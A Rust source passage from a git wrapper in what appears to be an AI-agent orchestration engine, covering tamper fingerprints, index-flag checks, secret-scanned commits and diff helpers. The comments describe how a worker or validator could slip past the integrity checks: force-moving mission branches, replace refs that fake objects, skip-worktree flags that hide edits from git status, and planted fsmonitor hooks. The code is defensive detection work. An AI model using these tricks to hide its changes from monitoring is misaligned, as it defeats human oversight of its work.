811 OsString::from("config"),
812 OsString::from("--file"),
813 git_path_arg(&std::path::absolute(common.join("config"))?).into_os_string(),
814 OsString::from("--no-includes"),
815 OsString::from("--bool"),
816 OsString::from("--get"),
817 OsString::from("extensions.worktreeConfig"),
818 ])?;
819 let enabled = if out.status.success() {
820 match std::str::from_utf8(&out.stdout).map(str::trim) {
821 Ok("true") => true,
822 Ok("false") => false,
823 _ => {
824 return Err(EngineError::Git(
825 "invalid worktree configuration scope".into(),
826 ))
827 }
828 }
829 } else if out.status.code() == Some(1) {
830 false
831 } else {
832 return Err(EngineError::Git(
833 "cannot determine worktree configuration scope".into(),
834 ));
835 };
836 Ok((git_dir, common, enabled))
837 }
838
839 /// Mission-significant refs for the tamper fingerprint: the CONTENT of
840 /// `refs/heads/kranz/*` (mission branches — a validator force-moving one
841 /// retargets the deliverable), `refs/tags/*`, AND `refs/replace/*` (a
842 /// replace ref changes how EVERY later git command resolves an object —
843 /// `git show <base>` renders a fake without HEAD, status, heads, or tags
844 /// moving), plus the COUNT of all `refs/heads/*` (a validator-created
845 /// sneaky branch shows as count+1).
846 ///
847 /// `refs/remotes/*` is excluded (ambient mirror state: any operator/CI
848 /// fetch), and other local heads' CONTENT is excluded too — the operator
849 /// committing to `main` mid-round is ambient work, not tamper (mission
850 /// m-83d1ed's second tripwire fire was exactly that: the instrumented
851 /// `refs` field catching the operator's own push to main).
852 pub fn for_each_ref(&self) -> Result<String> {
853 let scoped = self.run(&[
854 "for-each-ref",
855 "--format=%(refname) %(objectname)",
856 "refs/heads/kranz",
857 "refs/tags",
858 "refs/replace",
859 ])?;
860 let all_heads = self.run(&["for-each-ref", "--format=%(refname)", "refs/heads"])?;
861 let count = all_heads.lines().filter(|l| !l.trim().is_empty()).count();
862 Ok(format!("{scoped}heads-count: {count}\n"))
863 }
864
865 /// Name of the currently checked-out branch (`"HEAD"` when detached).
866 pub fn current_branch(&self) -> Result<String> {
867 Ok(self
868 .run(&["rev-parse", "--abbrev-ref", "HEAD"])?
869 .trim()
870 .to_string())
871 }
872
873 /// Sha of an arbitrary ref (`git rev-parse <refname>`).
874 ///
875 /// Rejects a flag-shaped `refname` (leading `-`) with an
876 /// [`EngineError::Git`] before invoking git, mirroring the guard on
877 /// [`GitRepo::add_worktree`]/[`GitRepo::merge_no_ff`]/
878 /// [`GitRepo::push_mission_branch`].
879 pub fn rev_parse(&self, refname: &str) -> Result<String> {
880 if refname.starts_with('-') {
881 return Err(EngineError::Git(format!(
882 "refusing rev-parse of flag-shaped ref {refname:?}"
883 )));
884 }
885 Ok(self.run(&["rev-parse", refname])?.trim().to_string())
886 }
887
888 /// Whether `ancestor` is an ancestor of (or equal to) `descendant`
889 /// (`git merge-base --is-ancestor <ancestor> <descendant>`).
890 ///
891 /// git's contract: exit 0 => `Ok(true)`; exit 1 => `Ok(false)`; any other
892 /// exit code is a real git failure, surfaced as [`EngineError::Git`].
893 /// Rejects a flag-shaped `ancestor`/`descendant` (leading `-`) before
894 /// invoking git, mirroring [`GitRepo::rev_parse`]/[`GitRepo::merge_no_ff`].
895 pub fn is_ancestor(&self, ancestor: &str, descendant: &str) -> Result<bool> {
896 for slot in [ancestor, descendant] {
897 if slot.starts_with('-') {
898 return Err(EngineError::Git(format!(
899 "refusing is_ancestor with flag-shaped ref {slot:?}"
900 )));
901 }
902 }
903 let out = self.probe(&["merge-base", "--is-ancestor", ancestor, descendant])?;
904 match out.status.code() {
905 Some(0) => Ok(true),
906 Some(1) => Ok(false),
907 _ => Err(EngineError::Git(format!(
908 "git merge-base --is-ancestor {ancestor} {descendant} failed ({}): {}",
909 out.status,
910 failure_detail(&out)
911 ))),
912 }
913 }
914
915 /// Whether a local branch of this name exists.
916 pub fn branch_exists(&self, name: &str) -> Result<bool> {
917 let git_ref = format!("refs/heads/{name}");
918 let out = self.probe(&["rev-parse", "--verify", "--quiet", &git_ref])?;
919 Ok(out.status.success())
920 }
921
922 /// Create branch `name` at `from` (a sha or ref), or at `HEAD` when
923 /// `from` is `None`. Does not check the branch out.
924 pub fn create_branch(&self, name: &str, from: Option<&str>) -> Result<()> {
925 let mut args = vec!["branch", name];
926 if let Some(start) = from {
927 args.push(start);
928 }
929 self.run(&args)?;
930 Ok(())
931 }
932
933 /// Check out an existing branch (or any committish).
934 pub fn checkout(&self, name: &str) -> Result<()> {
935 self.run(&["checkout", name])?;
936 Ok(())
937 }
938
939 /// True when the working tree has no changes at all. `--porcelain`
940 /// output includes untracked files, so those count as dirty too.
941 pub fn is_clean(&self) -> Result<bool> {
942 Ok(self.run(&["status", "--porcelain"])?.trim().is_empty())
943 }
944
945 /// Full `git status --porcelain` (v1) output: index + worktree status of
946 /// tracked files plus untracked non-ignored paths, respecting .gitignore
947 /// (so build-artifact churn like `target/` and the gitignored `.kranz`
948 /// runtime never appears). The validator immutability fingerprint
949 /// ([`crate::validator_integrity`]) compares this verbatim across a
950 /// session; v1's C-quoting keeps even exotic paths to one line per entry.
951 pub fn porcelain_status(&self) -> Result<String> {
952 // --untracked-files=all: the default collapses untracked DIRECTORIES
953 // (`?? dir/`), so files added inside an already-untracked dir would
954 // be invisible to the validator-integrity fingerprint (review 2 pass).
955 self.run(&["status", "--porcelain", "--untracked-files=all"])
956 }
957
958 /// `git ls-files -v`: every index entry with its flag column (`S` =
959 /// skip-worktree, lowercase = assume-unchanged). A `skip-worktree` flag
960 /// hides worktree modifications from `git status` entirely (4th-pass
961 /// review: set the flag, overwrite the file, HEAD and porcelain both
962 /// unchanged), so the immutability fingerprint covers the flags too.
963 pub fn ls_files_v(&self) -> Result<String> {
964 self.run(&["ls-files", "-v"])
965 }
966
967 /// Like [`Self::is_clean`] but ignoring untracked files: `true` when no
968 /// TRACKED file is modified, staged, or deleted. Untracked files never
969 /// block a branch switch (git carries them across), so restore-checkout
970 /// paths use this rather than full cleanliness.
971 pub fn is_clean_tracked(&self) -> Result<bool> {
972 Ok(self
973 .run(&["status", "--porcelain", "--untracked-files=no"])?
974 .trim()
975 .is_empty())
976 }
977
978 /// Like [`Self::is_clean_tracked`], but also rejects index flags that can
979 /// hide working-tree changes (`assume-unchanged`, `skip-worktree`, or
980 /// fsmonitor-valid).
981 ///
982 /// Scratch merge worktrees are never sparse and never need either flag,
983 /// so every tracked entry must have git's normal `H` tag.
984 pub fn is_clean_tracked_strict(&self) -> Result<bool> {
985 if !self.is_clean_tracked()? {
986 return Ok(false);
987 }
988 self.has_normal_index_entries()
989 }
990
991 /// Read index flags without invoking repository hooks or refreshing away
992 /// evidence of hidden working-tree changes.
993 pub(crate) fn has_normal_index_entries(&self) -> Result<bool> {
994 Ok(self
995 .run_seeing_fsmonitor(&["ls-files", "-v", "-f"])?
996 .lines()
997 .all(|line| line.starts_with("H ")))
998 }
999
1000 /// Whether one tracked path has Git's normal index tag. Lowercase tags
1001 /// (`assume-unchanged` or fsmonitor-valid) and `S` (`skip-worktree`) can
1002 /// hide worktree bytes from ordinary diff/status commands and must not
1003 /// guard a trust decision.
1004 pub fn has_normal_index_entry(&self, path: &str) -> Result<bool> {
1005 let output = self.run_seeing_fsmonitor(&["ls-files", "-v", "-f", "--", path])?;
1006 let mut lines = output.lines();
1007 Ok(lines.next() == Some(format!("H {path}").as_str()) && lines.next().is_none())
1008 }
1009
1010 /// `git ls-files` for the two index-flag DETECTIONS above, run with the
1011 /// repository's own `core.fsmonitor` setting left visible.
1012 ///
1013 /// The hardened handle neutralizes `core.fsmonitor=` because `git status`
1014 /// would otherwise execute a planted hook. But git only reports the
1015 /// fsmonitor-valid tag (`h`) when fsmonitor is CONFIGURED: with the key
1016 /// blanked, `ls-files -f` prints the ordinary `H` and the detection reads
1017 /// a flag-hidden file as clean — which is precisely the trust decision
1018 /// these two callers exist to refuse. `ls-files` reads the index without
1019 /// refreshing it and never invokes the hook (probed 2026-09-02: a
1020 /// `core.fsmonitor` script pointed at a sentinel is not run by
1021 /// `ls-files -f`), so keeping this one key visible costs nothing. Every
1022 /// other neutralization, and the nulled user/system config, stay in
1023 /// place.
1024 fn run_seeing_fsmonitor(&self, args: &[&str]) -> Result<String> {
1025 let os: Vec<OsString> = args.iter().map(OsString::from).collect();
1026 let out = self.spawn_git(&os, UserConfig::Ignored, ExecFlags::SeeingFsmonitor)?;
1027 check_status(&os, out)
1028 }
1029
1030 /// `git add -A` then `git commit -m <message>`; returns the new head sha.
1031 ///
1032 /// A no-change commit attempt exits non-zero, so it surfaces as an
1033 /// [`EngineError::Git`] carrying git's own "nothing to commit" output.
1034 pub fn add_all_and_commit(&self, message: &str) -> Result<String> {
1035 self.run(&["add", "-A"])?;
1036 self.run(&["commit", "-m", message])?;
1037 self.head_sha()
1038 }
1039
1040 /// Paths currently dirty in the working tree (`git status --porcelain`),
1041 /// relative to the repo root. Empty when clean.
1042 pub fn dirty_paths(&self) -> Result<Vec<PathBuf>> {
1043 let out = self.run(&["status", "--porcelain", "-z"])?;
1044 let mut paths = Vec::new();
1045 // Porcelain -z records: XY<space>path\0, or for rename/copy
1046 // XY<space>newpath\0oldpath\0. Walk byte-wise so a bare oldpath
1047 // record is not mistaken for a status line.
1048 let bytes = out.as_bytes();
1049 let mut i = 0;
1050 while i < bytes.len() {
1051 if bytes[i] == 0 {
1052 i += 1;
1053 continue;
1054 }
1055 let start = i;
1056 while i < bytes.len() && bytes[i] != 0 {
1057 i += 1;
1058 }
1059 let entry = std::str::from_utf8(&bytes[start..i]).unwrap_or("");
1060 i += 1; // skip NUL
1061 if entry.len() < 4 {
1062 continue;
1063 }
1064 let status = &entry[..2];
1065 let path = if entry.as_bytes().get(2) == Some(&b' ') {
1066 &entry[3..]
1067 } else {
1068 entry.trim()
1069 };
1070 if path.is_empty() {
1071 continue;
1072 }
1073 paths.push(PathBuf::from(path));
1074 // Rename/copy: the record continues as `\0oldpath\0`. The source
1075 // path is part of the same change — a staged `git mv a b` must
1076 // report BOTH `b` and `a`, or a checkpoint commit scoped to the
1077 // dirty set commits only `b` and leaves the staged `D a` behind —
1078 // so it joins the dirty set rather than being skipped.
1079 if status.contains('R') || status.contains('C') {
1080 let old_start = i;
1081 while i < bytes.len() && bytes[i] != 0 {
1082 i += 1;
1083 }
1084 let old = std::str::from_utf8(&bytes[old_start..i]).unwrap_or("");
1085 if i < bytes.len() {
1086 i += 1; // skip NUL after oldpath
1087 }
1088 if !old.is_empty() {
1089 paths.push(PathBuf::from(old));
1090 }
1091 }
1092 }
1093 Ok(paths)
1094 }
1095
1096 /// Stage and commit only currently-dirty paths (scoped checkpoint).
1097 /// Prefer this over [`Self::add_all_and_commit`] for engine checkpoints so
1098 /// a concurrent operator edit outside the worker's tree is not scooped in
1099 /// via `git add -A`. No-op (returns current HEAD) when the tree is clean.
1100 ///
1101 /// A secret-scan refusal is reported as
1102 /// [`CheckpointOutcome::RefusedBySecretScan`], never as an `Err` —
1103 /// checkpoint callers sit on the mission loop and must record the refusal
1104 /// instead of erroring the run (see [`CheckpointOutcome`]). Real git
1105 /// failures still propagate.
1106 pub fn commit_dirty_paths(&self, message: &str) -> Result<CheckpointOutcome> {
1107 let paths = self.dirty_paths()?;
1108 if paths.is_empty() {
1109 return Ok(CheckpointOutcome::Committed(self.head_sha()?));
1110 }
1111 let refs: Vec<&Path> = paths.iter().map(PathBuf::as_path).collect();
1112 if let Some(detail) = self.secret_scan_refusal(&refs) {
1113 return Ok(CheckpointOutcome::RefusedBySecretScan { detail });
1114 }
1115 Ok(CheckpointOutcome::Committed(
1116 self.commit_paths_unscanned(&refs, message)?,
1117 ))
1118 }
1119
1120 /// Stage and commit only the given paths; returns the new head sha.
1121 ///
1122 /// Paths may be absolute or relative to the repo root. Content staged
1123 /// for *other* paths is left staged and untouched (`git commit -- <paths>`
1124 /// commits just the named pathspecs).
1125 ///
1126 /// Idempotent: if staging the named paths yields no change (e.g. a
1127 /// crash-replayed re-commit of byte-identical files), this is a no-op that
1128 /// returns the current head rather than an empty-commit error. An empty
1129 /// `paths` slice is still rejected up front.
1130 pub fn commit_paths(&self, paths: &[&Path], message: &str) -> Result<String> {
1131 if paths.is_empty() {
1132 return Err(EngineError::Git("commit_paths: no paths given".into()));
1133 }
1134 // Durable-record commits (plans, reports) treat a scan refusal as a
1135 // hard error: the engine authored those files itself, so a finding
1136 // there is a bug, not a worker leftover to route around. Checkpoint
1137 // callers go through commit_dirty_paths, which surfaces the same
1138 // refusal as a CheckpointOutcome instead.
1139 if let Some(detail) = self.secret_scan_refusal(paths) {
1140 return Err(EngineError::Git(detail));
1141 }
1142 self.commit_paths_unscanned(paths, message)
1143 }
1144
1145 /// The formatted refusal message when the engine secret scan (minus
1146 /// allowlisted fingerprints) finds anything in `paths`, or `None` when
1147 /// the commit may proceed. The message names the findings via
1148 /// [`scrub::format_findings`] (rule ids + fingerprints, never raw secret
1149 /// bytes) and the allowlist path for a reviewed waiver.
1150 fn secret_scan_refusal(&self, paths: &[&Path]) -> Option<String> {
1151 let allowed = std::fs::read_to_string(self.root.join(scrub::SECRET_ALLOWLIST_PATH))
1152 .ok()
1153 .map(|text| scrub::read_allowlist_text(&text))
1154 .unwrap_or_default();
1155 // Split the dirty paths: TRACKED files scan only the mission's added
1156 // lines (git diff HEAD) — a mission must not be refused for
1157 // pre-existing base content in a file it merely touches (m-0f1abd,
1158 // checkpoint-refused twice by unchanged base code). NEW (untracked)
1159 // files still scan full-file — `git diff HEAD` never sees them and
1160 // their whole content is added lines anyway.
1161 let (mut tracked, mut new_files) = (Vec::new(), Vec::new());
1162 for path in paths {
1163 let in_index = self
1164 .run_os(&[
1165 "ls-files".into(),
1166 "--error-unmatch".into(),
1167 "--".into(),
1168 path.as_os_str().to_os_string(),
1169 ])
1170 .is_ok();
1171 if in_index {
1172 tracked.push(*path);
1173 } else {
1174 new_files.push(*path);
1175 }
1176 }
1177
1178 let mut findings = Vec::new();
1179 if !tracked.is_empty() {
1180 let diff = self.diff_head_paths(&tracked).unwrap_or_default();
1181 findings.extend(scrub::scan_unified_diff(&diff));
1182 }
1183 if !new_files.is_empty() {
1184 findings.extend(scrub::scan_paths(&self.root, &new_files));
1185 }
1186 let findings = scrub::filter_allowed(findings, &allowed);
1187 if findings.is_empty() {
1188 None
1189 } else {
1190 Some(format!(
1191 "secret scan blocked engine commit; add a fingerprint to {} only for a reviewed false positive:\n{}",
1192 scrub::SECRET_ALLOWLIST_PATH,
1193 scrub::format_findings(&findings)
1194 ))
1195 }
1196 }
1197
1198 /// [`Self::commit_paths`] minus the secret scan. Private on purpose:
1199 /// every public commit path must either run the scan (commit_paths) or
1200 /// surface its refusal as a [`CheckpointOutcome`] (commit_dirty_paths).
1201 fn commit_paths_unscanned(&self, paths: &[&Path], message: &str) -> Result<String> {
1202 let path_args = paths.iter().map(|p| p.as_os_str().to_os_string());
1203
1204 // `git add` fatals ("pathspec ... did not match any files") on a path
1205 // that is gone from BOTH the working tree and the index — exactly a
1206 // rename/copy source whose deletion `git mv` already staged. Such a
1207 // path needs no staging (the commit pathspec below still carries the
1208 // staged deletion into the commit), so it is left out of the add. A
1209 // path merely deleted from the working tree but still in the index
1210 // stays in: `git add` stages that removal.
1211 let add_paths = self.addable_paths(paths)?;
1212 if !add_paths.is_empty() {
1213 let mut add: Vec<OsString> = vec!["add".into(), "--".into()];
1214 add.extend(add_paths.iter().map(|p| p.as_os_str().to_os_string()));
1215 self.run_os(&add)?;
1216 }
1217
1218 // Idempotent: if staging these pathspecs produced nothing (e.g. a
1219 // crash-replayed re-approval that rewrites byte-identical files), skip
1220 // the commit and return the unchanged head. `git commit` errors on an
1221 // empty commit, which would otherwise wedge the caller on replay.
1222 let mut staged: Vec<OsString> = vec![
1223 "diff".into(),
1224 "--cached".into(),
1225 "--name-only".into(),
1226 "--".into(),
1227 ];
1228 staged.extend(path_args.clone());
1229 if self.run_os(&staged)?.trim().is_empty() {
1230 return self.head_sha();
1231 }
1232
1233 let mut commit: Vec<OsString> =
1234 vec!["commit".into(), "-m".into(), message.into(), "--".into()];
1235 commit.extend(path_args);
1236 self.run_os(&commit)?;
1237
1238 self.head_sha()
1239 }
1240
1241 /// The subset of `paths` that `git add` can act on: present in the
1242 /// working tree (`symlink_metadata`, so a dangling symlink still counts)
1243 /// or still known to the index (a working-tree deletion whose removal
1244 /// `git add` stages). A path in NEITHER — e.g. the source of an
1245 /// already-staged rename — would make `git add` fail with "pathspec did
1246 /// not match any files", and has nothing left to stage anyway.
1247 fn addable_paths<'a>(&self, paths: &[&'a Path]) -> Result<Vec<&'a Path>> {
1248 let missing: Vec<&Path> = paths
1249 .iter()
1250 .copied()
1251 .filter(|p| {
1252 let full = if p.is_absolute() {
1253 p.to_path_buf()
1254 } else {
1255 self.root.join(p)
1256 };
1257 std::fs::symlink_metadata(full).is_err()
1258 })
1259 .collect();
1260 if missing.is_empty() {
1261 return Ok(paths.to_vec());
1262 }
1263 // One batched index probe for the disk-missing subset. `git ls-files`
1264 // exits 0 with empty output for pathspecs that match nothing, and
1265 // prints matches relative to the repo root.
1266 let mut ls: Vec<OsString> = vec!["ls-files".into(), "-z".into(), "--".into()];
1267 ls.extend(missing.iter().map(|p| p.as_os_str().to_os_string()));
1268 let in_index: std::collections::HashSet<PathBuf> = self
1269 .run_os(&ls)?
1270 .split('\0')
1271 .filter(|s| !s.is_empty())
1272 .map(PathBuf::from)
1273 .collect();
1274 Ok(paths
1275 .iter()
1276 .copied()
1277 .filter(|p| {
1278 let rel = p.strip_prefix(&self.root).unwrap_or(p);
1279 std::fs::symlink_metadata(self.root.join(rel)).is_ok() || in_index.contains(rel)
1280 })
1281 .collect())
1282 }
1283
1284 /// Commits reachable from `to` but not `from` (`from..to`), oldest first.
1285 pub fn commits_between(&self, from: &str, to: &str) -> Result<Vec<CommitInfo>> {
1286 let range = format!("{from}..{to}");
1287 // %x09 = tab separator; a subject can contain anything but a newline.
1288 let out = self.run(&["log", "--reverse", "--format=%H%x09%s", &range])?;
1289 let mut commits = Vec::new();
1290 for line in out.lines() {
1291 // `lines()` strips \n; strip a stray \r for CRLF robustness (§9).
1292 let line = line.trim_end_matches('\r');
1293 if line.is_empty() {
1294 continue;
1295 }
1296 let (sha, subject) = line.split_once('\t').unwrap_or((line, ""));
1297 commits.push(CommitInfo {
1298 sha: sha.to_string(),
1299 subject: subject.to_string(),
1300 });
1301 }
1302 Ok(commits)
1303 }
1304
1305 /// Count merge commits reachable from `to` but not `from`.
1306 pub fn merge_commit_count(&self, from: &str, to: &str) -> Result<usize> {
1307 for slot in [from, to] {
1308 if slot.starts_with('-') {
1309 return Err(EngineError::Git(format!(
1310 "refusing merge_commit_count with flag-shaped ref {slot:?}"
1311 )));
1312 }
1313 }
1314 let range = format!("{from}..{to}");
1315 let out = self.run(&["rev-list", "--merges", "--count", &range])?;
1316 out.trim().parse::<usize>().map_err(|e| {
1317 EngineError::Git(format!(
1318 "git rev-list --merges --count {range} returned non-numeric output {out:?}: {e}"
1319 ))
1320 })
1321 }
1322
1323 /// Count first-parent commits on `branch` whose committer date falls in
1324 /// `(since, until]` (`git rev-list --first-parent --count --since
1325 /// --until`) — the landed-changes denominator of the industry-comparison
1326 /// fold (ticket `outcomes-comparison-metrics`, KRZ-333). First-parent
1327 /// counts one entry per change that landed on the branch's own line of
1328 /// history — a direct commit or a `--no-ff` merge — never the commits a
1329 /// merge brought with it, so a landed mission merge and a hand-written
1330 /// commit each count once. git's `--since` is exclusive and `--until`
1331 /// inclusive; the timestamps go to git verbatim as RFC 3339.
1332 pub fn count_first_parent_commits(
1333 &self,
1334 branch: &str,
1335 since: &chrono::DateTime<chrono::Utc>,
1336 until: &chrono::DateTime<chrono::Utc>,
1337 ) -> Result<u64> {
1338 if branch.starts_with('-') {
1339 return Err(EngineError::Git(format!(
1340 "refusing count_first_parent_commits with flag-shaped ref {branch:?}"
1341 )));
1342 }
1343 let out = self.run(&[
1344 "rev-list",
1345 "--first-parent",
1346 "--count",
1347 &format!("--since={}", since.to_rfc3339()),
1348 &format!("--until={}", until.to_rfc3339()),
1349 branch,
1350 ])?;
1351 out.trim().parse::<u64>().map_err(|e| {
1352 EngineError::Git(format!(
1353 "git rev-list --first-parent --count {branch} returned non-numeric output {out:?}: {e}"
1354 ))
1355 })
1356 }
1357
1358 /// `git diff --stat <from>..<to>` output, verbatim.
1359 pub fn diff_stat(&self, from: &str, to: &str) -> Result<String> {
1360 let range = format!("{from}..{to}");
1361 self.run(&["diff", "--stat", &range])
1362 }
1363
1364 /// Full `git diff <from>..<to>` output, verbatim.
1365 pub fn diff_full(&self, from: &str, to: &str) -> Result<String> {
1366 let range = format!("{from}..{to}");
1367 self.run(&["diff", &range])
1368 }
1369
1370 /// Full `git diff <range>` output for a caller-supplied range.
1371 pub fn diff_range(&self, range: &str) -> Result<String> {
1372 if range.starts_with('-') || range.chars().any(char::is_whitespace) {
1373 return Err(EngineError::Git(format!(
1374 "refusing diff of malformed range {range:?}"
1375 )));
1376 }
1377 self.run(&["diff", range])
1378 }
1379
1380 /// Full staged diff (`git diff --cached`) output.
1381 pub fn diff_staged(&self) -> Result<String> {
1382 self.run(&["diff", "--cached"])
1383 }
1384
1385 /// Full `git diff --binary HEAD` output (index + working tree vs HEAD),
1386 /// verbatim — everything a worker left uncommitted on TRACKED files,
1387 /// binary-safe so it replays byte-for-byte through `git apply`
1388 /// ([`GitRepo::apply_patch`]). The validator snapshot
1389 /// ([`crate::validator_snapshot`]) captures this in the real checkout and
1390 /// applies it in the throwaway copy so validators judge exactly the tree
1391 /// the worker left.
1392 pub fn diff_head(&self) -> Result<String> {
1393 self.run(&["diff", "--binary", "HEAD"])
1394 }
1395
1396 /// `git apply <patch_file>` against the worktree (index untouched). The
1397 /// validator snapshot replays the real checkout's [`GitRepo::diff_head`]
1398 /// this way; the patch comes from a file path so no stdin plumbing is
1399 /// needed.
1400 pub fn apply_patch(&self, patch_file: &Path) -> Result<()> {
1401 let args: Vec<OsString> = vec!["apply".into(), git_path_arg(patch_file).into_os_string()];
1402 self.run_os(&args)?;
1403 Ok(())
1404 }
1405
1406 /// Untracked, non-ignored files (`git ls-files --others
1407 /// --exclude-standard -z`), repo-relative. `-z` gives unquoted raw paths
1408 /// (NUL is the only byte git never allows in one), so even
1409 /// newline-bearing names survive the split. Ignored paths (`target/`,
1410 /// the `.kranz` runtime) never appear — mirroring
1411 /// [`GitRepo::porcelain_status`].
1412 /// Untracked non-ignored files, NUL-separated raw bytes preserved:
1413 /// `ls-files -z` output is byte-oriented, and a name that is not valid
1414 /// UTF-8 must NOT be lossy-mangled — the replacement character turns
1415 /// into a path that then fails to copy and (pre-fix) was silently
1416 /// swallowed as NotFound (5th-pass review). On unix the raw bytes are
1417 /// used verbatim; on Windows (where git emits WTF-8) the lossy form is
1418 /// the pragmatic fallback, documented.
1419 pub fn untracked_files(&self) -> Result<Vec<std::ffi::OsString>> {
1420 let out = self.probe(&["ls-files", "--others", "--exclude-standard", "-z"])?;
1421 if !out.status.success() {
1422 return Err(EngineError::Git(format!(
1423 "git ls-files --others failed ({})",
1424 failure_detail(&out)
1425 )));
1426 }
1427 Ok(out
1428 .stdout
1429 .split(|b| *b == 0)
1430 .filter(|seg| !seg.is_empty())
1431 .map(|seg| {
1432 #[cfg(unix)]
1433 {
1434 use std::os::unix::ffi::OsStrExt as _;
1435 std::ffi::OsString::from(std::ffi::OsStr::from_bytes(seg))
1436 }
1437 #[cfg(not(unix))]
1438 {
1439 std::ffi::OsString::from(String::from_utf8_lossy(seg).into_owned())
1440 }
1441 })
1442 .collect())
1443 }
1444
1445 /// Stable labels for an independent gate snapshot: index, untracked source
1446 /// and the pinned base's deletions. Preserve UTF-8 exactly; no C quoting or
1447 /// lossy path conversion is permitted at this evidence boundary.
1448 pub(crate) fn gate_snapshot_paths(&self, base: &str) -> Result<Vec<String>> {
1449 let base = self.rev_parse(base)?;
1450 let mut paths = std::collections::BTreeSet::new();
1451 for args in [
1452 vec![
1453 "ls-files",
1454 "--cached",
1455 "--others",
1456 "--exclude-standard",
1457 "-z",
1458 ],
1459 vec!["ls-tree", "-r", "-z", "--name-only", &base],
1460 ] {
1461 let output = self.probe(&args)?;
1462 if !output.status.success() {
1463 return Err(EngineError::Git(failure_detail(&output)));
1464 }
1465 if output.stdout.len() > 8 * 1024 * 1024 {
1466 return Err(EngineError::Git(
1467 "gate snapshot path inventory exceeds limit".into(),
1468 ));
1469 }
1470 for path in output.stdout.split(|b| *b == 0).filter(|p| !p.is_empty()) {
1471 let path = std::str::from_utf8(path).map_err(|_| {
1472 EngineError::Git("gate snapshots do not support non-UTF-8 source paths".into())
1473 })?;
1474 paths.insert(path.to_owned());
1475 if paths.len() > 10_000 {
1476 return Err(EngineError::Git(
1477 "gate snapshot exceeds 10,000 paths".into(),
1478 ));
1479 }
1480 }
1481 }
1482 Ok(paths.into_iter().collect())
1483 }
1484
1485 /// Full `git diff HEAD -- <paths>` output (index + working tree vs HEAD),
1486 /// verbatim — the checkpoint scan's "what this mission actually changed",
1487 /// never the pre-existing base content of files it merely touches.
1488 pub fn diff_head_paths(&self, paths: &[&Path]) -> Result<String> {
1489 let mut args: Vec<OsString> = vec!["diff".into(), "HEAD".into(), "--".into()];
1490 args.extend(paths.iter().map(|p| p.as_os_str().to_os_string()));
1491 self.run_os(&args)
1492 }
1493
1494 /// Full `git diff <from>..<to> -- <paths>` output, verbatim — the
1495 /// affected-path diff a Flight Rules waiver's digest binds (KRZ-344
1496 /// D-I): only changes under the named paths alter the bytes, so an
1497 /// unrelated-path change can never invalidate (or be covered by) the
1498 /// waiver. Refuses flag-shaped refs (the [`GitRepo::changed_paths`]
1499 /// guard) and an EMPTY path set — `git diff <range> --` with no
1500 /// pathspec silently means the WHOLE diff, which would bind authority
1501 /// the caller never scoped.
1502 pub fn diff_range_paths(&self, from: &str, to: &str, paths: &[String]) -> Result<String> {
1503 for slot in [from, to] {
1504 if slot.starts_with('-') {
1505 return Err(EngineError::Git(format!(
1506 "refusing diff_range_paths with flag-shaped ref {slot:?}"
1507 )));
1508 }
1509 }
1510 if paths.is_empty() {
1511 return Err(EngineError::Git(
1512 "refusing diff_range_paths with an empty path set — `--` alone means the \
1513 whole diff, not an empty one"
1514 .to_string(),
1515 ));
1516 }
1517 let range = format!("{from}..{to}");
1518 let mut args: Vec<OsString> = vec!["diff".into(), range.into(), "--".into()];
1519 args.extend(paths.iter().map(OsString::from));
1520 self.run_os(&args)
1521 }
1522
1523 /// Paths changed in `from..to` (`git diff --name-only <from>..<to>`),
1524 /// one per line as git reports them.
1525 ///
1526 /// Rejects a flag-shaped `from`/`to` (leading `-`) before invoking git,
1527 /// mirroring the guard on [`GitRepo::is_ancestor`]/[`GitRepo::rev_parse`].
1528 pub fn changed_paths(&self, from: &str, to: &str) -> Result<Vec<String>> {
1529 for slot in [from, to] {
1530 if slot.starts_with('-') {
1531 return Err(EngineError::Git(format!(
1532 "refusing changed_paths with flag-shaped ref {slot:?}"
1533 )));
1534 }
1535 }
1536 let range = format!("{from}..{to}");
1537 let out = self.run(&["diff", "--name-only", &range])?;
1538 Ok(out
1539 .lines()
1540 .map(|l| l.trim_end_matches('\r').trim())
1541 .filter(|l| !l.is_empty())
1542 .map(str::to_string)
1543 .collect())
1544 }
1545
1546 /// Operator review inventory: pinned base to working-tree bytes, including
1547 /// deletions, both sides of renames and non-ignored untracked paths.
1548 pub(crate) fn review_changed_paths(&self, base: &str) -> Result<Vec<String>> {
1549 let base = self.rev_parse(base)?;
1550 let output = self.probe(&["diff", "--no-renames", "--name-only", "-z", &base, "--"])?;
1551 if !output.status.success() || output.stdout.len() > 8 * 1024 * 1024 {
1552 return Err(EngineError::Git("review path inventory unavailable".into()));
1553 }
1554 let mut paths = std::collections::BTreeSet::new();
1555 for path in output.stdout.split(|b| *b == 0).filter(|p| !p.is_empty()) {
1556 paths.insert(
1557 std::str::from_utf8(path)
1558 .map_err(|_| EngineError::Git("non-UTF-8 review path".into()))?
1559 .to_string(),
1560 );
1561 }
1562 for path in self.untracked_files()? {
1563 paths.insert(
1564 path.into_string()
1565 .map_err(|_| EngineError::Git("non-UTF-8 review path".into()))?,
1566 );
1567 }
1568 Ok(paths.into_iter().collect())
1569 }
1570
1571 /// Whether `from..to` touches anything under `apps/dashboard/` — the
1572 /// signal the gate suite uses to decide whether to run the dashboard
1573 /// gates (roadmap M6 gated merge).
1574 pub fn dashboard_touched(&self, from: &str, to: &str) -> Result<bool> {
1575 Ok(self
1576 .changed_paths(from, to)?
1577 .iter()
1578 .any(|p| p.starts_with("apps/dashboard/")))
1579 }
1580
1581 /// The most recent commit that ADDED `rel_path` (repo-relative,
1582 /// forward-slash), with its subject and full message body — or `None` if
1583 /// the path is untracked / was never added under version control.
1584 ///
1585 /// Used to check lesson-file provenance: a lesson only reaches a planning
1586 /// prompt if a `[kranz] mission report` commit carrying a matching
1587 /// `Kranz-Mission` trailer introduced it, so an untracked drop or a
1588 /// worker feature-commit fails the check (see the lesson-manifest render).
1589 pub fn commit_that_added(&self, rel_path: &str) -> Result<Option<AddedCommit>> {
1590 if rel_path.starts_with('-') {
1591 return Err(EngineError::Git(format!(
1592 "refusing commit_that_added with flag-shaped path {rel_path:?}"
1593 )));
1594 }
1595 // Unit-separator (\x1f) between fields; -n 1 → the newest add commit
1596 // (lessons are append-only and never rewritten, so there is one).
1597 let out = self.run(&[
1598 "log",
1599 "--diff-filter=A",
1600 "-n",
1601 "1",
1602 "--format=%H%x1f%s%x1f%b",
1603 "--",
1604 rel_path,
1605 ])?;
1606 let out = out.trim_end_matches('\n');
1607 if out.is_empty() {
1608 return Ok(None);
1609 }
1610 let mut parts = out.splitn(3, '\u{1f}');
1611 let sha = parts.next().unwrap_or_default().trim().to_string();
